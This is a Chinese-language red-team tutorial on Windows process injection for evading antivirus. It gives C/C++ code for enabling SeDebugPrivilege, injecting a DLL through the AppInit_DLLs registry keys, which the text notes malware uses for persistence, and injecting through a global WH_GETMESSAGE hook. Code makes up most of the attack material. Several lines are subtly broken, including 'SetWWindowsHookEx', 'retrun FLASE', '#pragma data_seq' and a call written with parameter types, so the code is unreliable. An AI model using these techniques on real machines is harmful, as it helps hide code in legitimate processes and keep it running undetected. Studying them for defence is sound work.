HVV技術干貨 | 紅隊免殺必會-進程注入-注冊表-全局鉤
概要:進程注入 ,簡而言之就是將代碼注入到另一個進程中,跨進程內存注入,即攻擊者將其代碼隱藏在合法進程中,長期以來一直被用作逃避檢測的手段.
前言
進程注入 ,簡而言之就是將代碼注入到另一個進程中,跨進程內存注入,即攻擊者將其代碼隱藏在合法進程中,長期以來一直被用作逃避檢測的手段.
進程的注入方式可以分為DLL注入和shellcode注入,這兩種方式本質上沒有區別,在操作系統層面上,dll也就是shellcode的匯編代碼。
代碼框架
想法是盡量用一個通用的注入框架,有異常接收,令牌權限開啟,獲取進程PID的功能,只需要在main函數中調用不同的注入方式:
#include "public.h"
int main() {
DWORD pid = GetPid();
if (pid == 0) {
ShowError("Getpid");
return -1;
}
//std::cout<<"Pid:" << pid << std::endl;
if (!EnableDebugPrivilege(TRUE)) {
ShowError("EnableDebugPrivilege");
return -1;
}
BOOL bRet = Inject(DWORD dwPid, CHAR code[]);
if (bRet != TRUE)
{
ShowError("Inject");
return -1;
}
system("pause");
return 0;
}
BOOL Inject(DWORD dwPid, CHAR code[])
{
BOOL ret = TRUE;
return ret;
}
獲取進程pid
主要實現通過進程名稱獲取進程Pid,代碼很簡單如下:
DWORD GetPid() {
//獲取進程快照
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
//創建進程結構體
PROCESSENTRY32 process = { 0 };
process.dwSize = sizeof(process);
if (Process32First(snapshot, &process)) {
do {
if (!wcscmp(process.szExeFile, L"notepad.exe"))
break;
} while (Process32Next(snapshot, &process));
}
CloseHandle(snapshot);
return process.th32ProcessID;
}
錯誤處理
錯誤、異常處理,用來接收的返回值GetLastError():
VOID ShowError(PCHAR msg)
{
printf("%s Error %d", msg, GetLastError());
}
進程提權
AdjustTokenPrivileges
在進程注入中,如果要對其他進程(包括系統進程和服務進程)進行注入,需要獲取當前進程的SeDeBug權限來調用OpenProcess打開要注入的進程。如果用戶是管理員組下的成員是具有該權限的。
但是當我們用Administrator身份去打開一個進程時,還是會出現拒絕訪問的錯誤:

錯誤代碼為5表示拒絕訪問:

這是因為默認情況下,某些進程的訪問權限是沒有開啟的。所謂的"提權",其實就是將原有的權限開啟,并不是真正意思上的提權,微軟提供了一些可供我們修改令牌權限,比如:
AdjustTokenPrivileges function (securitybaseapi.h) - Win32 apps | Microsoft Docs
具體用法如下:
//開啟進程調試權限 Debug
BOOL EnableDebugPrivilege(BOOL bEnable)
{
HANDLE hToken = nullptr;
LUID luid;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) return FALSE;
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) return FALSE;
TOKEN_PRIVILEGES tokenPriv;
tokenPriv.PrivilegeCount = 1;
tokenPriv.Privileges[0].Luid = luid;
tokenPriv.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0;
if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPriv, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) return FALSE;
return TRUE;
}
開啟該權限后,編程程序,右鍵管理員打開,開啟權限成功:

RtlAdjustPrivilege
這是一個微軟未公開的API,封裝在ntdll.dll中。
補充一句:
ntdll.dll是Windows系統從Ring3到Ring0的入口,位于Kernel32.dll和user32.dll中的所有win32 API 最終都是調用ntdll.dll中的函數實現的,也就是說所有的程序都會調用ntdll.dll。
32位系統通過SYSENTRY進入Ring0
64位系統通過SYSCALL進入Ring0

函數定義如下:
NTSTATUS RtlAdjustPrivilege ( ULONG Privilege, // 所需要的權限名稱,可以到MSDN查找關于Process Token & Privilege內容可以查到 BOOLEAN Enable, // 如果為True 就是打開相應權限,如果為False 則是關閉相應權限 BOOLEAN CurrentThread, // 如果為True 則僅提升當前線程權限,否則提升整個進程的權限 PBOOLEAN Enabled // 輸出原來相應權限的狀態(打開 | 關閉) )
可以借助IDA載入ntdll.dll對該API進行分析,按F5可查看偽代碼:

用法如下,同樣需要以管理員身份運行:
BOOL NTEnableDebugPrivilege() {
int nEn = 0;
const unsigned long SE_DEBUG_PRIVILEGE = 0x14;
HMODULE hDll = ::LoadLibrary(L"ntdll.dll");
typedef int(_stdcall* type_RtlAdjustPrivilege)(int, BOOL, BOOL, int*);
type_RtlAdjustPrivilege RtlAdjustPrivilege = (type_RtlAdjustPrivilege)GetProcAddress(hDll, "RtlAdjustPrivilege");
RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, true, true, &nEn);
return true;
}
AppInit_DLLs注入
windows整個系統的配置都保存在這個注冊表中,我們可以通過調整其中的設置來改變系統的行為,惡意軟件常用于注入和持久性的注冊表項條目位于以下位置:
- HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\Appinit_Dlls
當User32.dll被映射到一個新的進程時,會收到DLL_PROCESS_ATTACH通知,當User32.dll對它進行處理的時候,會取得上述注冊表鍵的值,并調用LoadLibary來載入這個字符串中指定的每個DLL。
只要將AppInit_DLLs設置為要注入的DLL的路徑并且將LoadAppInit_DLLs的值改成1。那么,當程序重啟的時候,所有加載user32.dll的進程都會根據AppInit_Dlls中的DLL路徑加載指定的DLL。
需要注意的是,在win7之后,windows對dll加載的安全性增加了控制,
- LoadAppInit_DLLs 為1開啟,為0關閉,(Win7默認為0)
- RequireSignedAppInit_DLLs 值為1表明模塊需要簽名才能加載,反之。
BOOL InjectDll(DWORD dwPid, CHAR szDllName[])
{
BOOL bRet = TRUE;
HKEY hKey = NULL;
CHAR szAppKeyName[] = { "AppInit_DLLs" };
CHAR szLoadAppKeyName[] = { "LoadAppInit_DLLs" };
DWORD dwLoadAppInit = 1; //設置LoadAppInit_DLLs的值
//打開相應注冊表鍵
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows",
0, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
{
ShowError("RegOpenKeyEx");
bRet = FALSE;
goto exit;
}
//設置AppInit_DLLs為相應的DLL路徑
if (RegSetValueEx(hKey, szAppKeyName, 0, REG_SZ, (PBYTE)szDllName, strlen(szDllName) + 1) != ERROR_SUCCESS)
{
ShowError("RegSetValueEx");
bRet = FALSE;
goto exit;
}
//將LoadAppInit_DLLs的值設為1
if (RegSetValueEx(hKey, szLoadAppKeyName, 0, REG_DWORD, (PBYTE)&dwLoadAppInit, sizeof(dwLoadAppInit)) != ERROR_SUCCESS)
{
ShowError("RegSetValueEx");
bRet = FALSE;
goto exit;
}
exit:
return bRet;
}
Tips:
- 被注入的DLL是在進程的生命周期的早期(Loader)被載入的,因此我們在調用函數的時候應該謹慎,調用Kernel32.dll中的函數應該沒有問題,但是調用其他DLL中的函數可能會導致失敗,甚至可能會導致藍屏
- User32.dll不會檢查每個DLL的載入或初始化是否成功,所以不能保證DLL注入一定成功
- DLL只會被映射到那些使用了User32.dll的進程中,所有基于GUI的應用程序都使用了User32.dll,但大多數基于CUI的應用程序都不會使用它。因此,如果想要將DLL注入到編譯器或者鏈接器或者命令行程序,這種方法就不可行
- DLL會被映射到每個基于GUI的應用程序中,可能會因為DLL被映射到太多的進程中,導致"容器"進程崩潰
- 注入的DLL會在應用程序終止之前,一直存在于進程的地址空間中,這個技術無法做到只在需要的時候才注入我們的DLL
全局鉤子注入
Windows系統中的大多數應用都是基于消息機制的,也就是說它們都有一個消息過程函數,可以根據收到的不同消息來執行不同的代碼。基于這種消息機制,Windows維護了一個OS message queue以及為每個程序維護著一個application message queue。當發生各種事件的時候,比如敲擊鍵盤,點擊鼠標等等,操作系統會從OS message queue將消息取出給到相應的程序的application message queue。
而OS message queue和application message queue的中間有一個稱為鉤鏈的結果如下

如果創建的是一個全局鉤子,那么鉤子函數必須在一個DLL中。這是因為進程的地址空間是獨立的。發生對于事件的進程不能調用其他進程地址空間的鉤子函數。如果鉤子函數的實現代碼在DLL中,則在對應事件發生時,系統會把這個DLL加載到發生事件的進程空間地址中,使它能夠調用鉤子函數進行處理。
在操作系統中安裝全局鉤子后,只要進程接收到收到可以發出鉤子的消息,全局鉤子的DLL文件就會由操作系統自動或強行的加入到該進程中。因此,設置全局鉤子可以達到DLL注入的目的。
為了能夠讓DLL注入到所有進程中,程序設置WH_GETMESSAGE消息的全局鉤子。因為WH_GETMESSAGE類型的鉤子會監視消息隊列,并且Windows系統是基于消息驅動的,所以所有進程都有自己的一個消息隊列,都會加載WH_GETMESSAGE類型的全局鉤子DLL。
鉤子函數就需要使用SetWindowHookEx來將鉤子函數安裝到鉤鏈中,函數在文檔中的定義如下
HHOOK SetWindowsHookEx(int idHook, HOOKPROC lpfn, HINSTANCE hMod, DWORD dwThreadId);
舉個栗子:
//設置全局鉤子
BOOL SetGlobalHook(){
g_hHook = SetWWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)GETMsgProc,g_hDLLModule,0);
if (NULL == g_hHook){
retrun FLASE;
}
return TRUE;
}
在上述代碼中,SetWindowsHookEx的第一個參數表示鉤子的類型,WH_GETMESSAGE表示安裝消息隊列的消息鉤子,它可以監視發送到消息隊列的消息,前面已經提到了。第二個參數表示鉤子回調函數,回調函數的名稱可以是任意的,參數和返回值是固定的。第三個參數表示包含鉤子回調函數DLL模塊句柄,如果要設置全局鉤子,則該參數必須指定DLL模塊句柄。第四個參數表示與鉤子關聯的線程ID,0表示全局鉤子。
//鉤子回調函數
LRESULT GetMsgProc(int code,WPARAM wParam,LPARAM lParam){
return CallNextHookEx(g_hHook,code,wParam,lParam);
}
上述代碼中,函數的參數和返回值的數據類型是固定的。其中,CallNextHookEx函數表示將當前鉤子傳遞給鉤子鏈中的下一個鉤子,第一個參數要指定當前鉤子的句柄。如果直接返回0,則表示中斷鉤子傳遞,對鉤子進行攔截。
當鉤子不再使用時,可以卸載全局鉤子,此時已經包含鉤子函數的DLL模塊的進程,將會釋放DLL模塊。卸載全局鉤子代碼如下:
//卸載鉤子
BOOL UnsetGlobalHook(){
if (g_hHook){
UnhookWindowsHookEx(g_hHook);
}
return true;
}
UnsetGlobalHook 函數用來卸載指定鉤子,參數便是卸載鉤子的句柄。
我們知道,全局鉤子是以DLL的形式加載到其他進程空間中的,而且進程都是獨立的,所以任意修改一個內存里的數據是不會影響另一個進程的。那么如何實現注入呢?可以在DLL中創建共享內存。
共享內存是指突破進程獨立性,多個進程共享一段內存。在DLL中創建一個變量,讓后將DLL加載到多個進程空間,只要一個進程就該了該變量值,其他進程DLL中的這個值也會改變,相當于多個進程共享也給內存。
共享內存原理實現:首先為DLL創建一個數據段,然后在對程序的鏈接器進行設置,把指定的數據段鏈接為共享數據段。
代碼實現:
//內存共享
#pragma data_seq("mydata")
HHOOK g_hHook = NULL;
#pragma data_seq();
#pragma comment(linker,"/SECTION:mydata,RWS")
使用#pragma data_seq("mydata")創建一個共享的數據段,然后#pragma comment(linker,"/SECTION:mydata,RWS") 設置為可讀可寫可執行。
BOOL InjectDll(DWORD dwPid, CHAR szDllName[])
{
typedef BOOL(*typedef_SetGlobalHook)();
typedef BOOL(*typedef_UnsetGlobalHook)();
HMODULE hDll = NULL;
typedef_SetGlobalHook SetGlobalHook = NULL;
typedef_UnsetGlobalHook UnsetGlobalHook = NULL;
BOOL bRet = FALSE;
do
{
hDll = ::LoadLibrary("GlobalHook_Test.dll");
if (NULL == hDll)
{
ShowError("LoadLibrary");
break;
}
SetGlobalHook = (typedef_SetGlobalHook)::GetProcAddress(hDll, "SetGlobalHook");
if (NULL == SetGlobalHook)
{
ShowError("GetProcAddress");
break;
}
bRet = SetGlobalHook();
if (bRet)
{
printf("SetGlobalHook OK.");
}
else
{
ShowError("SetGlobalHook");
}
system("pause");
UnsetGlobalHook = (typedef_UnsetGlobalHook)::GetProcAddress(hDll, "UnsetGlobalHook");
if (NULL == UnsetGlobalHook)
{
ShowError("GetprocAddress");
break;
}
UnsetGlobalHook();
printf("UnsetGlobalHook OK.");
}while(FALSE);
system("pause");
return true;
}
